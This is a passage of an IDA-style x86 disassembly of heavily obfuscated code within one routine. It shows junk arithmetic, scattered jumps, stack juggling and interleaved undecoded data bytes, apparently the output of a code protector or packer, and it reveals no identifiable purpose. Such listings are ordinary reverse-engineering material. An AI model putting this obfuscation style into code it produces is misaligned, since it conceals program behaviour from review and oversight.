jmp loc_55701D ; --------------------------------------------------------------------------- loc_5646D6: ; CODE XREF: sub_542C3C+12480j add ebx, 44CE16BAh sub ebx, eax sub ebx, 44CE16BAh pop eax xchg ebx, [esp+96h+var_98+2] pop esp mov [esp+92h+var_94+2], edx push ebx jmp loc_568892 ; --------------------------------------------------------------------------- dw 1C87h dd 16E95C24h, 31000037h, 0CD015FF9h, 56240C8Bh, 0C6815E54h dd 4, 551AB850h, 0BF571D66h, 5CD922CCh, 0EF81DFF7h, 6F865EDBh dd 0D5FF809h, 0D412047h, 1880A505h, 58C601C0h, 2474FF56h dd 48F5E04h, 24248B24h, 562BBF57h, 0F7572E04h, 815F2414h dd 45630C7h, 5FFD012Eh, 5C242C87h, 9C240431h, 0FEEDEFE9h db 0FFh ; --------------------------------------------------------------------------- loc_56475D: ; CODE XREF: sub_542C3C+20EF3j sub ebp, 2EA966CAh pop edi sub edi, ebp pop ebp sub edi, 4E913559h sub edi, 301963E2h add edi, edx add edi, 301963E2h add edi, 4E913559h add edi, 46FC1474h jmp loc_5630C8 ; --------------------------------------------------------------------------- loc_56478C: ; CODE XREF: sub_542C3C+18311j add ebx, edi pop edi pop eax xor ebx, [esp+0A6h+var_A6] jmp loc_563736 ; --------------------------------------------------------------------------- loc_564798: ; CODE XREF: sub_542C3C+1455Bj sub ah, 0CDh sub ah, 10h inc ah add ah, 51h sub bl, ah mov eax, [esp+96h+var_98+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+9Ah+var_9C+2] pop esp sub bl, al sub esp, 2 jmp loc_567426 ; --------------------------------------------------------------------------- loc_5647C6: ; CODE XREF: sub_542C3C+11B1Cj add ecx, 4 add ecx, 4 xor ecx, [esp+80h+var_80] xor [esp+80h+var_80], ecx jmp loc_55AEBB ; --------------------------------------------------------------------------- loc_5647DD: ; CODE XREF: sub_542C3C+1E9BEj sub esi, edx mov edx, [esp+9Ah+var_9C+2] add esp, 4 jmp loc_55E80E ; --------------------------------------------------------------------------- align 2 aY0 db 'ËY0Þ[',0 dd 1A045AF0h, 0D1CE9h, 24043300h, 33240431h, 0FBE92404h dd 81FFFF21h, 4C4h, 24048F00h, 66E9F65Ch, 66CCB60Fh, 0E934FA68h dd 0FFFF09AAh, 0E9242C8Bh, 0FFFF30C3h, 23CBEB81h, 0C3817789h dd 21FB17EEh, 0EB81EB01h, 21FB17EEh, 23CBC381h, 2C8B7789h dd 4C48124h, 50000000h, 884F13B8h, 5EFDE926h, 248BFFFFh dd 0E4E95724h, 81FFFFFCh, 8B0913E9h, 59CA89D3h, 815AD721h dd 9A6D85EFh, 3EFC137h, 73E9D7F7h, 59FFFF11h, 2C8B850h dd 0E948188Fh, 0FFFFC8EBh, 2BBh, 0F501E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564896: ; CODE XREF: sub_542C3C+219BDj pop esi pop esi sub esi, 59357321h pop eax jmp loc_55A026 ; --------------------------------------------------------------------------- dd 5102C483h, 592414F6h, 0FF3218E9h db 0FFh ; --------------------------------------------------------------------------- loc_5648B1: ; CODE XREF: sub_542C3C+121BBj add esp, 4 jmp loc_553C5E ; --------------------------------------------------------------------------- loc_5648B9: ; CODE XREF: sub_542C3C+246EDj shl ebp, 4 jmp loc_55C301 ; --------------------------------------------------------------------------- db 80h, 0CEh, 3Fh dd 93E9DEF6h, 0FFFFFF1Ch, 34FF2434h, 24148B24h, 81E18951h dd 4C1h, 3ACAE900h, 3C8B0000h, 0BEE95224h, 56FFFF69h, 5A5AB951h dd 39E91B7Fh db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5648F7: ; CODE XREF: sub_542C3C+127CCj push ecx jmp loc_563BF4 ; --------------------------------------------------------------------------- loc_5648FD: ; CODE XREF: sub_542C3C+130E9j shl eax, 5 shr eax, 6 neg eax add eax, 2B6F93Dh add esi, eax pop eax add esi, 6452DC0Bh jmp loc_56572C ; --------------------------------------------------------------------------- loc_564918: ; CODE XREF: sub_542C3C+15BF3j xor ebx, [esp+64h+var_64] xor [esp+64h+var_64], ebx xor ebx, [esp+64h+var_64] jmp loc_55473D ; --------------------------------------------------------------------------- dw 0BD55h dd 37576EB8h, 0D15DEF89h, 22E94FEFh, 80FFFEF6h, 0FE3061C7h dd 55241C8Bh, 0BB535D54h, 4DA56DA6h, 0FEFC8EE9h, 0F6ECB0FFh dd 2E8C0D8h, 5308E8C0h, 0FF3FC4E9h, 4F6850FFh, 0E914035Ch dd 0FFFFAC97h ; --------------------------------------------------------------------------- loc_564968: ; CODE XREF: sub_542C3C+17511j push cx mov ch, 0B4h add al, ch pop cx pop ecx push small 0FCFh jmp loc_55A62C ; --------------------------------------------------------------------------- dw 0F181h dd 619FE925h, 0C8BC801h, 0F228E924h, 0CB25FFFEh, 3574051Bh dd 153C0899h, 0E1E9C309h, 5400000Fh, 0FF5406E9h, 245CF6FFh dd 52596601h, 0FFEB10E9h, 4BFFFh, 0F7E90000h, 88FFFFABh dd 64D268D8h, 1C890000h, 50C38824h, 0C688D888h, 0FF5F37E9h db 0FFh ; --------------------------------------------------------------------------- loc_5649CD: ; CODE XREF: sub_542C3C+1AE57j not ecx xor ecx, 18E81F1Fh shl ecx, 7 jmp loc_565C11 ; --------------------------------------------------------------------------- db 0B2h, 5Dh, 88h dd 0E95A66D5h, 0FFFFD87Ah, 42474FFh, 0E924348Bh, 0FFFF1EDEh dd 0B850E289h, 4, 1BE9C201h, 8100003Fh, 4C1h, 240C8700h dd 0FF3456E9h, 0FFEA83FFh, 6564B850h, 6EE91554h, 81FFFFF3h dd 0A1D83FF1h, 59C8017Eh, 8158C101h, 4C1h, 240C3300h, 33240C31h dd 0E95C240Ch, 0FFFF43E7h, 0E6E9DEF6h, 64FFFF5Ah, 0FDE9028Fh db 0EAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564A4F: ; CODE XREF: sub_542C3C+15F74j mov edi, esp add edi, 4 push eax mov eax, 51930BCCh or eax, 0DD36CFAh or eax, 26696985h shr eax, 4 or eax, 4A5A25B1h xor eax, 4FFFB7FBh sub edi, eax jmp loc_5664A4 ; --------------------------------------------------------------------------- loc_564A7B: ; CODE XREF: sub_542C3C+1E27Aj add edx, 6423299Ah pop ebx push 487h mov [esp+48h+var_48], eax mov eax, 0 add eax, edx sub esp, 4 jmp loc_562FF9 ; --------------------------------------------------------------------------- dd 0B6E9E189h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564AA3: ; CODE XREF: sub_542C3C+15B8Bj pop eax jmp loc_55918C ; --------------------------------------------------------------------------- db 5Bh, 0, 0D8h aTfrH db ',’fR¶h',0 db 0F0h dd 0E9565A66h, 0FFFF821Eh ; --------------------------------------------------------------------------- loc_564ABC: ; CODE XREF: sub_542C3C+15E32j jmp loc_55354C ; --------------------------------------------------------------------------- loc_564AC1: ; CODE XREF: sub_542C3C+1D167j add ecx, 76485CCDh add ecx, edi sub ecx, 76485CCDh pop edi jmp loc_559F16 ; --------------------------------------------------------------------------- aNs_0 db 'éÁ',0Dh,0 dw 5100h dd 0FE44E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564AE2: ; CODE XREF: sub_542C3C+18562j sub eax, 939EF900h add edx, eax pop eax neg edx shl edx, 8 sub edx, 0A52CB658h mov ecx, edx jmp loc_5619F8 ; --------------------------------------------------------------------------- dd 4C4835Eh, 5204C483h, 0FFB57FE9h, 240C89FFh, 0B0505AB5h dd 32F1E91Ah, 8F59FFFFh, 1EE92404h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564B1F: ; CODE XREF: sub_542C3C+1EC32j pop [esp+90h+var_90] mov esp, [esp+8Ch+var_8C] mov [esp+8Ch+var_8C], ebx mov ecx, [esp+8Ch+var_8C] add esp, 4 sub esp, 4 jmp loc_556972 ; --------------------------------------------------------------------------- loc_564B39: ; CODE XREF: sub_542C3C+1D19Cj sub esp, 4 mov [esp+0A6h+var_A6], ecx jmp loc_565B34 ; --------------------------------------------------------------------------- loc_564B47: ; CODE XREF: sub_542C3C+1DCF7j mov eax, esp jmp loc_55AA62 ; --------------------------------------------------------------------------- dw 0C483h dd 55CF0104h, 0EC4777BDh, 5DEF2908h, 6641E951h, 248BFFFFh dd 2434FF24h, 0FEF1D9E9h, 5AD501FFh, 0ED81FD29h, 66A547D3h dd 0FFD4CFE9h, 545658FFh, 4C6815Eh, 81000000h, 4EEh, 24348700h dd 0E924248Bh, 0FFFF1D10h, 0F7F4B85Ah, 565185FCh, 0DF5630BEh dd 0AB9BE934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564BAA: ; CODE XREF: sub_542C3C+1AD65j push 1C972FCBh mov esi, [esp+40h+var_40] add esp, 4 neg esi not esi jmp loc_554400 ; --------------------------------------------------------------------------- dw 3DB0h dd 0FF5F50E9h db 0FFh ; --------------------------------------------------------------------------- loc_564BC5: ; CODE XREF: sub_542C3C+20A98j pop ebx jmp loc_5612C1 ; --------------------------------------------------------------------------- db 5Ah dd 2C8BEB89h, 0E2895224h, 4C281h, 0C2810000h, 4, 0FFE8DFE9h dd 0E9595BFFh, 3D67h ; --------------------------------------------------------------------------- loc_564BEC: ; CODE XREF: sub_542C3C+23128j pop edx add eax, 1 shl eax, 2 jmp loc_55647F ; --------------------------------------------------------------------------- loc_564BFA: ; CODE XREF: sub_542C3C+18A47j pop edi shl eax, 4 push 6E6Fh mov [esp+98h+var_98], eax sub [esp+98h+var_98], 0FFFFFFFFh push [esp+98h+var_98] pop eax add esp, 4 jmp loc_553C2F ; --------------------------------------------------------------------------- loc_564C19: ; CODE XREF: sub_542C3C+203C5j add ebx, eax add [ebx], ecx mov ebx, [esp+64h+var_64] add esp, 4 mov eax, [esp+60h+var_60] add esp, 4 mov edx, [esp+5Ch+var_5C] push ebp jmp loc_55B61A ; --------------------------------------------------------------------------- loc_564C35: ; CODE XREF: sub_542C3C+1911Cj pop ebx and edi, ecx pop ecx jmp loc_561C53 ; --------------------------------------------------------------------------- dw 0EC83h dd 24248904h, 4BE56h, 74010000h, 3AE90424h, 5BFFFF83h dd 29DF68h, 242C8900h, 9EE95D54h, 81FFFF96h, 4C2h, 4BB5300h dd 1000000h, 14875BDAh, 24248B24h, 75DC68h, 240C8900h dd 0E580E6B5h, 6EDC08Bh, 0E734E952h, 0D901FFFFh, 5352535Bh dd 0C9733B68h, 0BD555B57h, 3C4A1EB4h, 0C15DEB29h, 0F38702EBh dd 0F387D6F7h, 0D524C381h, 0DA8906DFh, 0FF49E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_564CB9: ; CODE XREF: sub_542C3C+20142j shr eax, 4 neg eax sub eax, 0F9C46DEAh push esi mov esi, 7F664B0Ah xor esi, 0CD4E08h push ebp jmp loc_55EE27 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 13F1E9h, 24148900h, 4BAh, 5AD10100h, 8704E983h, 895C240Ch dd 0E954243Ch, 0FFFF60CEh, 4C481h, 0C870000h, 0C895C24h dd 0E842E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564D0A: ; CODE XREF: sub_542C3C+156ABj xor eax, [esp+0AAh+var_AA] mov esp, [esp+0AAh+var_AA] push [esp+0AAh+var_AA] jmp loc_55D3FA ; --------------------------------------------------------------------------- dd 7B685A54h, 89000010h, 0E957240Ch, 0FFFF4E04h, 1C8BDD89h dd 4C48324h, 6624EA81h, 0EA810701h, 50F5644h, 0C281EA01h dd 50F5644h, 6624C281h, 2C8B0701h, 33B5E924h, 47680000h dd 5967AD06h, 0B2E9CE29h, 0B8FFFFC4h, 766E01B2h, 0FFC69CE9h dd 81E789FFh, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 0A6E92434h dd 8B000020h, 0C481240Ch, 4, 2B850h, 0ED810000h, 0A611D0h dd 0FF099FE9h, 81D5F7FFh, 0F9702DF5h, 5EDC13Dh, 0FF732DE9h db 0FFh ; --------------------------------------------------------------------------- loc_564DAD: ; CODE XREF: sub_542C3C+18D3Aj add edi, 0BBE70EA7h mov edx, edi pop edi jmp loc_5667CF ; --------------------------------------------------------------------------- db 89h dd 0EBE9240Ch, 81FFFFD7h, 0D923BF1h, 59C80127h, 0E958C131h dd 0FFFF94D9h, 15DEF29h, 0E5CDE9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564DDE: ; CODE XREF: sub_542C3C+1C72Fj mov ebx, 59311DB8h shl ebx, 7 jmp loc_55B4C6 ; --------------------------------------------------------------------------- db 0D1h dd 0B4F581EDh, 0E90F0B66h, 2B3Dh ; --------------------------------------------------------------------------- loc_564DF8: ; CODE XREF: sub_542C3C+14478j add ebp, eax sub ebp, 577D5636h mov eax, [esp+90h+var_90] add esp, 4 jmp loc_553C39 ; --------------------------------------------------------------------------- db 5 dd 0D5E1A99Fh, 5558C201h, 32486FBDh, 39E9503Ch, 0BEFFFFC5h dd 72925840h, 0F6E9514Eh, 5AFFFF43h, 3C8BF801h, 0F955E924h dd 0FF2DFFFEh, 0E9FFFFFFh, 0FFFF883Dh, 0F7814797h, 0B6B53BF5h dd 6FE9FA89h, 8FFFFF93h, 6AE92404h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_564E57: ; CODE XREF: sub_542C3C+1C6E4j pop edx add ecx, 4 push 2420h mov [esp+8Ah+var_8C+2], ecx push [esp+8Ah+var_88+2] pop ecx pop [esp+8Ah+var_8C+2] pop esp xor edx, edx push ecx sub esp, 4 mov [esp+8Ah+var_8C+2], ebx push [esp+8Ah+var_8C+2] pop ecx push 7816h mov [esp+8Eh+var_90+2], ecx push esp jmp loc_55B9A5 ; --------------------------------------------------------------------------- loc_564E87: ; CODE XREF: sub_542C3C+18524j push 305Eh mov [esp+4Ch+var_4C], edx push 4990h mov [esp+50h+var_50], ecx jmp loc_56158C ; --------------------------------------------------------------------------- loc_564E9C: ; CODE XREF: sub_542C3C+25B4Fj push [esp+50h+var_50] push [esp+54h+var_54] pop ebp push eax mov eax, esp jmp loc_560785 ; --------------------------------------------------------------------------- loc_564EAB: ; CODE XREF: sub_542C3C+23663j mov eax, esp push esi jmp loc_5542B4 ; --------------------------------------------------------------------------- loc_564EB3: ; CODE XREF: sub_542C3C+1D3C9j push esp pop edi push eax mov eax, 4 add edi, eax jmp loc_55EE6F ; --------------------------------------------------------------------------- dw 248Bh dd 24048924h, 0FFDEC9E9h, 243433FFh, 33243431h, 248B2434h dd 240CFE24h, 0E66AE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564EE2: ; CODE XREF: sub_542C3C+12978j push 2A54h mov [esp+9Ch+var_9C], edx push [esp+9Ch+var_98] mov edx, [esp+0A0h+var_A2+2] jmp loc_55ACF8 ; --------------------------------------------------------------------------- dw 0F800h dd 0E952665Bh, 0FFFF3CCDh ; --------------------------------------------------------------------------- loc_564F00: ; CODE XREF: sub_542C3C+1DFB3j push esp pop ecx add ecx, 4 jmp loc_55DDE7 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 39h dd 31FFFEE6h, 0C28159CAh, 4EC0AEE6h, 5703232Dh, 5D0014Bh dd 4B570323h, 29E4E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_564F2E: ; CODE XREF: sub_542C3C+1DFA0j pop eax xor ecx, [esp+40h+var_40] jmp loc_55E617 ; --------------------------------------------------------------------------- loc_564F37: ; CODE XREF: sub_542C3C+22379j pop eax push [esp+3Ch+var_3C] pop ecx add esp, 4 jmp loc_557D80 ; --------------------------------------------------------------------------- dd offset dword_5AD588 dd 0EB305AF5h, 110459h, 14C6E9D8h, 0EC830000h, 240C8904h dd 0C181E189h, 4, 2D61E9h, 1650BD00h, 0E82929EBh, 0E9D8015Dh dd 0FFFF37EAh, 0F724248Bh, 591AE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564F82: ; CODE XREF: sub_542C3C+18CADj pop edx sub esp, 4 mov [esp+50h+var_50], ebp mov ebp, 4 add ebx, ebp mov ebp, [esp+50h+var_50] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+54h+var_54] pop esp xchg ebx, [esp+50h+var_50] mov esp, [esp+50h+var_50] push 6303h mov [esp+54h+var_54], ecx jmp loc_564F37 ; --------------------------------------------------------------------------- loc_564FBA: ; CODE XREF: sub_542C3C+12AB4j shr bh, 5 add bh, 77h jmp loc_5627DB ; --------------------------------------------------------------------------- db 0BFh, 26h, 5Fh dd 0EF814FECh, 0ED875D3h, 0AAF7814Fh, 0E9422661h, 0FFFF0C0Ah dd 0EC4C9568h, 0B5E95A31h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564FE7: ; CODE XREF: sub_542C3C+1F1B7j mov [esp+50h+var_50], esi xchg ebp, [esp+50h+var_50] not ebp sub esp, 4 mov [esp+54h+var_54], ebp push [esp+54h+var_50] mov ebp, [esp+58h+var_58] jmp loc_556A24 ; --------------------------------------------------------------------------- loc_565004: ; CODE XREF: sub_542C3C+1B52Bj pop eax add ebx, 85633AAh jmp loc_564652 ; --------------------------------------------------------------------------- loc_565010: ; CODE XREF: sub_542C3C+14B39j mov edx, 4 sub ebx, 520C1FB2h add ebx, edx push esi mov esi, 29527F0Ah shr esi, 5 dec esi add esi, 17264620h jmp loc_556A69 ; --------------------------------------------------------------------------- dw 77FFh dd 0E512E940h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56503A: ; CODE XREF: sub_542C3C+15264j push edi jmp loc_555296 ; --------------------------------------------------------------------------- dd 4B8h, 41BD5500h, 4D2A5946h, 0FF136CE9h, 0B2C381FFh dd 5A48035Bh, 5C241C87h, 0FFA459E9h db 0FFh ; --------------------------------------------------------------------------- loc_565061: ; CODE XREF: sub_542C3C+19EE0j mov edx, 3A8E3A3Ah xchg ecx, edx not ecx xchg ecx, edx shl edx, 7 inc edx or edx, 17F072F7h push ebp mov ebp, 8EEFAEF8h xor edx, ebp pop ebp mov ebx, edx pop edx mov ebp, 91855BAh xor ebp, ebx pop ebx add eax, ebp mov ebp, [esp+84h+var_84] add esp, 4 sub eax, 39B52C82h add eax, ecx add eax, 39B52C82h push esi mov esi, 380509B5h jmp loc_563EF3 ; --------------------------------------------------------------------------- db 88h, 3Ch, 87h dd 0E49AE95Bh, 0B868FFFEh, 89000035h, 98E92404h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5650BF: ; CODE XREF: sub_542C3C+13E1Dj add ebx, esi mov esi, [esp+84h+var_84] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+88h+var_88] pop esp mov [esp+84h+var_84], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+84h+var_84] jmp loc_55878A ; --------------------------------------------------------------------------- loc_5650EA: ; CODE XREF: sub_542C3C+16344j mov [esp+84h+var_84], esi mov esi, esp add esi, 4 jmp loc_55DC84 ; --------------------------------------------------------------------------- loc_5650FA: ; CODE XREF: sub_542C3C+16CF3j push ebx mov ebx, 5B5626BCh jmp loc_55ECE3 ; --------------------------------------------------------------------------- loc_565105: ; CODE XREF: sub_542C3C+24054j add eax, edi jmp loc_556C49 ; --------------------------------------------------------------------------- dd 54240489h, 0FFD328E9h db 0FFh ; --------------------------------------------------------------------------- loc_565115: ; CODE XREF: sub_542C3C+1910Dj push edi mov edi, 211E21A2h xor edi, 3AC12584h xor edi, 4D7B237Ch add edi, 62FD2183h sub edi, 7B63CBB0h add edx, edi pop edi shr edx, 3 sub edx, 0E444A34h jmp loc_565CAF ; --------------------------------------------------------------------------- dd 8B5EF129h, 0C481242Ch, 4, 0A8685055h, 5865F21Ch, 0BB53D8F7h dd 69427614h, 2E9D809h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565167: ; CODE XREF: sub_542C3C+16FA4j xchg eax, [esp+90h+var_90] pop esp sub eax, 4CC84A55h push ebp jmp loc_554DCD ; --------------------------------------------------------------------------- dw 0FEBDh dd 897B141Bh, 2434FFEAh, 3968535Dh, 89000000h, 4832424h dd 0E95B0424h, 0FFFF1A8Eh ; --------------------------------------------------------------------------- loc_565194: ; CODE XREF: sub_542C3C+24064j mov [esp+90h+var_90], edi push 330D6830h pop edi shl edi, 4 push ebx push edx jmp loc_567A75 ; --------------------------------------------------------------------------- db 8Bh dd 0C892424h, 586FE924h, 2BBFFFFh, 81000000h, 0CA7C70EDh dd 0C9E95206h, 8BFFFF91h, 0C481241Ch, 4, 53556650h, 0E58BB66h dd 5BDD8966h, 275C68h, 81B2E900h, 8B66FFFFh, 0D1682404h dd 89000050h, 0DCE9242Ch, 53FFFF4Dh, 6018B951h, 0D1F7134Ah dd 8105E9C1h, 0DB6942C1h, 59CB8936h, 0E903EBC1h, 0FFFEFA65h ; --------------------------------------------------------------------------- loc_565210: ; CODE XREF: sub_542C3C+1CC80j push 69FA1DD7h pop ebp not ebp not ebp jmp loc_560F9D ; --------------------------------------------------------------------------- db 81h dd 8E9C3BC7h, 5FFA899Ch, 0A668h, 241C8900h, 410A3BBh, 0B1E9523Fh dd 89FFFF92h, 5A542414h, 4C281h, 0EA810000h, 4, 5C241487h dd 54243489h, 362E9h db 0 ; --------------------------------------------------------------------------- loc_565259: ; CODE XREF: sub_542C3C+20119j sub eax, edi pop edi push ebx jmp loc_55A57B ; --------------------------------------------------------------------------- loc_565262: ; CODE XREF: sub_542C3C+24ECAj xor [esp+58h+var_54], ebx jmp loc_553FD1 ; --------------------------------------------------------------------------- db 68h dd 30Dh, 0BE243489h, 4, 0FFB244E9h, 58E581FFh, 0E95D1F63h dd 0FFFF26C3h ; --------------------------------------------------------------------------- loc_565288: ; CODE XREF: sub_542C3C+1354Fj mov eax, [esp+0A6h+var_A6] add esp, 4 push dx mov dh, 0B4h jmp loc_55C3AA ; --------------------------------------------------------------------------- loc_565297: ; CODE XREF: sub_542C3C+1F392j mov esi, esp jmp loc_567386 ; --------------------------------------------------------------------------- dw 0F74Dh dd 2EDC1DDh, 6DDBED81h, 0EA01337Eh, 4EC815Dh, 89000000h dd 2CE92414h, 81FFFF58h, 42404h, 525E0000h, 2635E955h dd 0C4830000h, 4EC8104h, 89000000h, 8B54242Ch, 0C483242Ch dd 4C58104h, 56000000h, 24236850h, 12E97C88h, 0C1FFFF5Fh dd 0C58103EDh, 0F2C6B68Ah, 2C8BE989h, 4C48324h, 8953F901h dd 4C381E3h, 0E9000000h, 0FFFF4909h, 4246C81h, 1237E3Bh dd 731E9h db 0 ; --------------------------------------------------------------------------- loc_56531D: ; CODE XREF: sub_542C3C+1C265j push edx mov edx, 4 jmp loc_5608F4 ; --------------------------------------------------------------------------- dd 0C6FECEFEh, 0EDEE80h, 7EE95AF7h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565337: ; CODE XREF: sub_542C3C+1B226j add ebx, 4 push eax mov eax, 4 sub ebx, 0E6D0DBDh jmp loc_55FE44 ; --------------------------------------------------------------------------- dw 0ED81h dd 39D53FB2h, 0FEF577E9h db 0FFh ; --------------------------------------------------------------------------- loc_565359: ; CODE XREF: sub_542C3C+1D509j mov ebp, [esp+0A8h+var_AA+2] add esp, 4 mov ebx, [esp+0A4h+var_A6+2] push edx mov edx, esp add edx, 4 sub esp, 4 mov [esp+0ACh+var_AE+2], edi mov edi, 4 add edx, edi pop edi xchg edx, [esp+0A8h+var_AA+2] pop esp push esi sub esp, 4 mov [esp+0ACh+var_AE+2], ebp jmp loc_55DDF2 ; --------------------------------------------------------------------------- loc_56538F: ; CODE XREF: sub_542C3C+22CECj mov eax, [esp+0ACh+var_AE+2] jmp loc_55A5B5 ; --------------------------------------------------------------------------- db 52h dd 3004E9h, 80E1D000h, 0CE88BDF1h, 0FEF68059h, 0C2BAE953h dd 0D701FFFFh, 243C875Ah, 0FF5BEBE9h, 240483FFh, 6BE95E04h dd 83FFFFCEh, 0EB8104C4h, 7CFF2895h, 2CB2BD55h, 0C5817658h dd 56064E77h, 0B454ED81h, 0D4E991CAh, 51FFFF08h, 2434FF57h dd 4C48159h, 0E9000000h, 0FFFF2DEDh ; --------------------------------------------------------------------------- loc_5653F4: ; CODE XREF: sub_542C3C+15B7Aj push 35A9h jmp loc_55EB5E ; --------------------------------------------------------------------------- dw 835Ah dd 3C3304C4h, 243C3124h, 5C243C33h, 240C8B66h, 81E68956h dd 4C6h, 4EE8100h, 33000000h, 34312434h, 24343324h, 2404895Ch dd 4EC81h, 24890000h, 24048324h, 7EE95804h, 53FFFFA3h dd 986ED5BBh, 0EC814B5Fh, 4, 0FF2F77E9h db 0FFh ; --------------------------------------------------------------------------- loc_565451: ; CODE XREF: sub_542C3C+23820j push edi mov edi, ebx push edi pop ecx pop edi mov ebp, ecx jmp loc_56562C ; --------------------------------------------------------------------------- dw 8BDh dd 0E90B7704h, 0FFFF91DCh, 68h, 243C2900h, 6CF815Fh, 815F6D4Dh dd 1010ADC7h, 5FFA0100h, 4EC81h, 3C890000h, 783ABF24h dd 814F4BB1h, 680202CFh, 0C9C7813Ah, 1840685h, 243C8BFAh dd 8704C483h, 248B2414h, 0F7D8E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5654AE: ; CODE XREF: sub_542C3C+1295Cj add eax, 53E81EBCh mov edi, [esp+9Ch+var_9C] add esp, 4 or eax, eax jnz loc_566C96 push esi sub esp, 4 mov [esp+0A0h+var_A2+2], edx push eax push ebp mov ebp, 39563CD6h mov eax, 3C470041h jmp loc_5589BB ; --------------------------------------------------------------------------- dd 9C240420h, 0FEE067E9h, 0A3BD55FFh, 0E926A713h, 0FFFF181Dh dd 0E924248Bh, 0FFFF2FBFh ; --------------------------------------------------------------------------- loc_5654F8: ; CODE XREF: sub_542C3C+1C2E9j xor ebp, [esp+98h+var_98] xor [esp+98h+var_98], ebp jmp loc_566A9D ; --------------------------------------------------------------------------- db 57h dd 0FF967FE9h, 72C168FFh, 34890000h, 52E68924h, 0FFA4F0E9h dd 2CD800FFh, 68612C1Ah, 0BC9h, 81240C89h, 4ECh, 241C8900h dd 0D7F6FAB7h, 0FF866AE9h, 241C31FFh, 8B241C33h, 7FE92424h dd 68FFFFB6h, 7D4Ah, 0B9240C89h, 357D6E83h, 2D05E9h db 0 ; --------------------------------------------------------------------------- loc_565559: ; CODE XREF: sub_542C3C+1EEC5j mov [esp+7Ch+var_7C], edi jmp loc_55503E ; --------------------------------------------------------------------------- loc_565561: ; CODE XREF: sub_542C3C+17456j sub eax, 299B8D44h push ebx mov ebx, eax mov edx, ebx pop ebx mov eax, [esp+5Ch+var_5C] add esp, 4 jmp loc_5546FA ; --------------------------------------------------------------------------- loc_56557A: ; CODE XREF: sub_542C3C+24349j mov dx, word ptr [esp+58h+var_58] push edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp+5Ch+var_5C] mov esp, [esp+5Ch+var_5C] add bl, 0E6h sub bl, al sub bl, 0E6h jmp loc_5565D3 ; --------------------------------------------------------------------------- dd 0FA8863B7h, 0FFCE45E9h, 7EEF81FFh, 1033896h, 0C1315FF9h dd 0CDE9C831h, 5EFFFEF9h, 4C681h, 0BF570000h, 2, 310ABA52h dd 0C28110A3h, 37684281h, 0B253C281h, 0D601260Eh, 95B9515Ah dd 154434Ch, 0FE0159CEh, 57EE9h db 0 ; --------------------------------------------------------------------------- loc_5655ED: ; CODE XREF: sub_542C3C+153EBj dec eax neg eax or eax, 561E5E09h or eax, 176E7C35h shl eax, 8 xor eax, 0DFD6FA22h mov esi, eax jmp loc_55FA81 ; --------------------------------------------------------------------------- loc_565609: ; CODE XREF: sub_542C3C+1C73Dj mov ebp, 51A173A6h jmp loc_55FECC ; --------------------------------------------------------------------------- db 31h dd 58042444h, 16E13558h, 148B407Fh, 4C48124h, 0E9000000h dd 0FFFEDF20h ; --------------------------------------------------------------------------- loc_56562C: ; CODE XREF: sub_542C3C+2281Dj mov ecx, [esp+7Ch+var_7C] add esp, 4 jmp loc_55F17E ; --------------------------------------------------------------------------- dw 835Ch dd 48904ECh, 5E08924h, 4, 2EDFE9h db 0 ; --------------------------------------------------------------------------- loc_56564D: ; CODE XREF: sub_542C3C+1EE93j push esp mov ebp, [esp+84h+var_84] add esp, 4 add ebp, 4 jmp loc_55B55A ; --------------------------------------------------------------------------- loc_565662: ; CODE XREF: sub_542C3C+19A13j sub ebx, 62E1008Fh mov eax, ebx pop ebx add esi, 2C33547Dh sub esi, eax sub esp, 4 jmp loc_56075D ; --------------------------------------------------------------------------- dw 48Fh dd 0C6815C24h, 2, 0FFE722E9h, 242C31FFh, 0FF10B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_565695: ; CODE XREF: sub_542C3C+16743j pop esp jmp loc_568428 ; --------------------------------------------------------------------------- db 29h dd 5F2E9DEh, 0A4BD0000h, 3143BD04h, 0BD5558C5h, 0FF668CFh dd 0BA52D5F7h, 2365487Bh, 555AD501h, 0FF0568E9h db 0FFh ; --------------------------------------------------------------------------- loc_5656C1: ; CODE XREF: sub_542C3C+1794Cj pop ebx add eax, ebx add eax, 7ED71DF1h jmp loc_55D570 ; --------------------------------------------------------------------------- loc_5656CE: ; CODE XREF: sub_542C3C+1BD1Fj xor eax, 0E4921447h xor edx, eax pop eax mov ebp, edx jmp loc_55F5EB ; --------------------------------------------------------------------------- db 5Dh, 57h, 89h dd 8E75E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5656E6: ; CODE XREF: sub_542C3C+1F026j pop edi add [esp+84h+var_80], edx pop edx mov ecx, [esp+80h+var_80] add esp, 4 jmp loc_567AC2 ; --------------------------------------------------------------------------- db 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_558980 ; --------------------------------------------------------------------------- loc_565703: ; CODE XREF: sub_542C3C+1F242j pop 